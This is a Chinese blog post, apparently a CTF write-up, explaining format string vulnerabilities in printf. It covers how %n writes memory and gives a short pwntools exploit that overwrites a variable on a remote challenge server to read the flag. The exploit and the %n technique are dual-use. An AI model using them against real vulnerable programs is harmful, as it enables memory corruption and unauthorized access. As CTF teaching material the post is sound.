CGfsb-攻防世界

发布于 2020-12-13  706 次阅读


记一次格式化字符串漏洞wp+学习

若要了解什么是格式化字符串漏洞
先了解格式化字符串
常见的有 printf、sprintf、fprintf 等 print 家族函数
基本格式有 %[参数] [标志] [字段宽度] [。精度] [长度]类型
以 printf函数为例:
printf()函数的一般形式为 printf("format", 输出表列),其第一个参数就是格式化字符串
一般我们使用方法:

1.

char str[20]
scanf("%s",str)
printf("%s",str)

但是也可以这样用

2.

char str[20]
scanf("%s",str)
printf(str)

写法1.2 都是打印str字符串,但是程序1打印参数是程序本身控制,而程序2打印参数是可以由输入者控制的

如果输入者 输入的字符串中混合着format格式化参数 如%p %x 那么在输出时候 printf 就会处理这些format参数进行输出

若没有输出列表 printf 就会把栈上的存储的格式化字符串的地址 解析成printf中对应的format参数

常用的format参数 及其使用

常用基本的格式化字符串参数介绍:
%c:输出字符,配上%n 可用于向指定地址写数据。
%d:输出十进制整数,配上%n 可用于向指定地址写数据。
%x:输出 16 进制数据,如%i$x 表示要泄漏偏移 i 处 4 字节长的 16 进制数
据,%i$lx 表示要泄漏偏移 i 处 8 字节长的 16 进制数据,32bit 和 64bit 环境下一
样。
%p:输出 16 进制数据,与%x 基本一样,只是附加了前缀 0x,在 32bit 下输
出 4 字节,在 64bit 下输出 8 字节,可通过输出字节的长度来判断目标环境是 32bit
还是 64bit。
%s:输出的内容是字符串,即将偏移处指针指向的字符串输出,如%i$s 表示
输出偏移 i 处地址所指向的字符串,在 32bit 和 64bit 环境下一样,可用于读取
GOT 表等信息。
%n:将%n 之前 printf已经打印的字符个数赋值给偏移处指针所指向的地址
位置,如%100×10$n 表示将 0x64 写入偏移 10 处保存的指针所指向的地址(4
字节),而%$hn 表示写入的地址空间为 2 字节,%$hhn 表示写入的地址空间为 1
字节,%$lln 表示写入的地址空间为 8 字节,在 32bit 和 64bit 环境下一样。有时,
直接写 4 字节会导致程序崩溃或等候时间过长,可以通过%$hn 或%$hhn 来适时
调整。
%n 是通过格式化字符串漏洞改变程序流程的关键方式,而其他格式化字符
串参数可用于读取信息或配合%n 写数据。

注意:偏移值很重要且 64位程序 和32 位程序的格式化字符串漏洞不一样 偏移量不一样

64位 部分数据是先存储在 寄存器中的 所以利用有一些区别 这里以后再详细补充

举个例子

image-20201213171414011

输出结果:image-20201213171459817

神奇的结果a的值被改变了 ,通过%n 将之前已打印的(WTF) 3个, 将已打印的字符个数的值,赋给偏移处指针所指的地址

这里就是将 3 赋给a所在的地址 这样就改变了a的值

多的应用 以后在补充吧


回到题目

先看看文件

image-20201213174341267

32位 ELF

拖进IDA

image-20201213174455378

所指为 格式化字符串漏洞 这里推荐 lazyIDA 可以直接定位

这里有两个输入 两个输出 利用第二个

思路通过格式化字符串漏洞改写 pwnme的值 从而执行system("cat flag")得到flag

1.先找到偏移值

image-20201213175412102

偏移值为10

直接上exp

from pwn import *
p = remote("220.249.52.134","36086")
p.recvuntil("please tell me your name:")
p.send("aaa")
p.recvuntil("leave your message please:")
pwnme=p32(0x0804A068)
p.send(pwnme*2+"%10$n")
p.interactive()

pwnme*2是因为pwnme的地址p32()为4个字节二要求 pwnme==8 所以要 *2

THe flag:

image-20201213175619796

更多用法,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,(待补充)


山鸟和鱼不同路,从此山水不相逢